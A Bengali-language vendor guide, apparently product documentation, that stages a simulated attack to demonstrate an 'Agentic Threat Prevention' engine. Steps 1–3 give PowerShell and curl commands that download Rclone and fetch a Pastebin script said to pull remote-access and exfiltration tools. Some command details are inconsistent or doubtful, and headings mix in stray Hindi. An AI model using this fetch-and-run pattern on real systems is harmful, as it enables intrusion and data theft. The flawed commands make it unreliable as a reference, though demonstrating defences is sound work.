এজেন্টিক হুমকি প্রতিরোধ কীভাবে আপনার নেটওয়ার্ককে সুরক্ষিত করে তা প্রদর্শন করা হচ্ছে

সারসংক্ষেপ

এজেন্টিক হুমকি প্রতিরোধ হল একটি নিরাপত্তা ইঞ্জিন যা সনাক্তকৃত হুমকির প্রতিক্রিয়ায় সক্রিয়ভাবে ডিনামিক নিয়ন্ত্রণ প্রয়োগ করে, আক্রমণ পৃষ্ঠ কমাতে এবং প্রভাবের আগে হুমকি কমাতে। অতিরিক্ত তথ্যের জন্য, দেখুন এজেন্টিক থ্রেট প্রিভেনশন কি?

এই নিবন্ধটি বাস্তব-জগত আক্রমণ পরিস্থিতি অনুকরণ করে দেখায় যে এজেন্টিক হুমকি প্রতিরোধ আপনার নেটওয়ার্ককে কীভাবে সুরক্ষা করে। যদিও এটি একটি এজেন্টিক হুমকি নয়, এটি দেখায় কিভাবে নিয়ন্ত্রণগুলি প্রয়োগ করা হয় যাতে অনুরূপ কৌশলগুলি একটি এজেন্টিক আক্রমণে ব্যবহৃত হওয়া থেকে প্রতিরোধ করা যায়।

এই আক্রমণের প্রতিক্রিয়া সম্পূর্ণরূপে স্বয়ংক্রিয়। কোনো অতিরিক্ত নিয়ম প্রয়োজন হয় না। এজেন্টিক হুমকি প্রতিরোধ সক্রিয় করা মাত্রই আক্রমণ প্রতিরোধের জন্য যথেষ্ট।

এই আক্রমণটি অনুকরণ করতে:

1. উচ্চ-ঝুঁকির টুল ডাউনলোড করুন যা ব্লকড হয়নি

2. Pastebin থেকে স্ক্রিপ্টটি ডাউনলোড করুন

3. উচ্চ-ঝুঁকির সরঞ্জামগুলি আবার ডাউনলোড করার চেষ্টা করুন। এই সময়, ডাউনলোডটি ব্লক করা হয়েছে।

   নোট: যদিও এই পরিস্থিতি এজেন্টিক নয়, এটি প্রদর্শন করে কিভাবে নিয়ন্ত্রণগুলি এজেন্টিক আক্রমণে একই কৌশল ব্যবহৃত হওয়া প্রতিরোধ করতে সাহায্য করতে পারে।

প্রয়োজনীয় শর্ত

• এজেন্টিক হুমকি প্রতিরোধ কার্যক্রম Block এ সেট করার মাধ্যমে সক্রিয় করা হয়েছে।

ধাপ 1: একটি উচ্চ-ঝুঁকিপূর্ণ সরঞ্জাম ডাউনলোড করুন

এজেন্টিক হুমকি প্রতিরোধ কার্যগুলি শুধুমাত্র তখনই ব্লক করে যখন সেগুলি ক্ষতিকারক সিকোয়েন্সের অংশ হয় তা প্রদর্শনের জন্য, প্রথমে Rclone ডাউনলোড করুন একটি ওপেন-সোর্স কমান্ড-লাইন টুল। আক্রমণকারীরা সাধারণত Rclone কে পোস্ট-কমপ্রোমাইজ টুল হিসাবে ব্যবহার করে কারণ এটি লেজিটিমেট, শক্তিশালী এবং সাধারণ প্রশাসনিক কার্যকলাপের সাথে মিশে যায়।

कार्य

Rclone নিম্নলিখিত থেকে ডাউনলোড করুন:

• নিম্নলিখিত URL: https://downloads.rclone.org/rclone-current-windows-amd64.zip

• উইন্ডোজ ডিভাইসগুলিতে:

  • নিম্নলিখিত পাওয়ারশেল কমান্ড: Start-Process "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -Label "RClone"

• macOS/Linux ডিভাইসগুলিতে:

  • নিম্নলিখিত টার্মিনাল কমান্ড: curl -sSL "https://downloads.rclone.org/rclone-current-windows-amd64.zip"

ফলাফল

ফাইলটি সফলভাবে ডাউনলোড হয়েছে।

বর্ণনা

এটি নিশ্চিত করে যে, পৃথকভাবে, কার্যটি ব্লকড নয়, কারণ সন্দেহজনক কার্যকলাপ দ্বারা পূর্বে এটি ধরা হয়নি।

ধাপ 2: পেস্টবিন থেকে একটি স্ক্রিপ্ট ডাউনলোড করুন

আক্রমণের সূচনা অনুকরণ করতে, Pastebin থেকে একটি স্ক্রিপ্ট ডাউনলোড করুন যা চালানো হলে সাধারণ আক্রমণকারী সরঞ্জামগুলি ডাউনলোড করে, উদাহরণস্বরূপ, রিমোট অ্যাক্সেস এবং এক্সফিল্ট্রেশনের জন্য Rclone এবং AnyDesk।

कार्य

Pastebin থেকে স্ক্রিপ্ট ডাউনলোড এবং চালান:

• উইন্ডোজ ডিভাইসগুলিতে:

  • নিম্নলিখিত পাওয়ারশেল কমান্ড: (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/C5VxKUpE')

• macOS/Linux ডিভাইসগুলিতে:

  • নিম্নলিখিত টার্মিনাল কমান্ড: curl -sSL "https://pastebin.com/raw/tXhVK2V7"

ফলাফল

স্ক্রিপ্ট চালায় এবং সরঞ্জামগুলি ডাউনলোড করে। একটি ডিনামিক নিয়ন্ত্রণ হোস্টে প্রয়োগ করা হয়, যা Agentic Threats পৃষ্ঠায় প্রদর্শিত হয়। অতিরিক্ত তথ্যের জন্য, দেখুন এজেন্টিক থ্রেট প্রিভেনশন মনিটরিং

ব্যাখ্যা

এজেন্টিক হুমকি প্রতিরোধ সন্দেহজনক আচরণের সূচকগুলি সনাক্ত করে পরবর্তী ক্ষতিকারক কার্যগুলিকে ব্লক করতে নিয়ন্ত্রণ আরোপ করে সক্রিয়ভাবে আক্রমণ আটকায় প্রভাব ঘটার আগে।

ধাপ 3: একটি উচ্চ-ঝুঁকিপূর্ণ সরঞ্জাম ডাউনলোড করুন

অনুকৃত আক্রমণে, আক্রমণকারী Rclone ডাউনলোড করার চেষ্টা করেন। তবে, এই কার্যটি Pastebin থেকে স্ক্রিপ্ট ডাউনলোড করার সন্দেহজনক কার্যকলাপের অনুসরণ করে এবং নিয়ন্ত্রণ আরোপিত হয়, এজেন্টিক হুমকি প্রতিরোধ Rclone ডাউনলোড ব্লক করে।

कार्य

নিম্নলিখিত অপশনগুলো ব্যবহার করে Rclone ডাউনলোড করুন:

• Rclone এর সাইট থেকে সরাসরি: https://downloads.rclone.org/rclone-current-windows-amd64.zip

• এই পাওয়ারশেল কমান্ড (উইন্ডোজে): Start-Process -Url "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -Label "RClone"

• এই টার্মিনাল কমান্ড (চালু macOS/লিনাক্স): curl -sSL "https://downloads.rclone.org/rclone-current-windows-amd64.zip"

ফলাফল

এই ফাইলের ডাউনলোড নিয়ন্ত্রণ দ্বারা ব্লক করা হয়েছে। প্রশমিত হুমকি Agentic Threats পৃষ্ঠায় দেখানো হয়েছে।

বর্ণনা

ধাপ 1-এ যেখানে এই স্ক্রিপ্টটি পৃথকভাবে চালানো হয়েছিল এবং তাই অনুমতি দেওয়া হয়েছিল, এই স্ক্রিপ্ট ডাউনলোড এখন একটি সন্দেহজনক কার্য দ্বারা পূর্বপ্রতিষ্ঠিত হয়েছে এবং এজেন্টিক হুমকি প্রতিরোধ দ্বারা ব্লক করা হয়েছে।

প্রদর্শনী

এই ভিডিওটি এই সিমুলেটেড আক্রমণের একটি প্রদর্শনী দেখায়: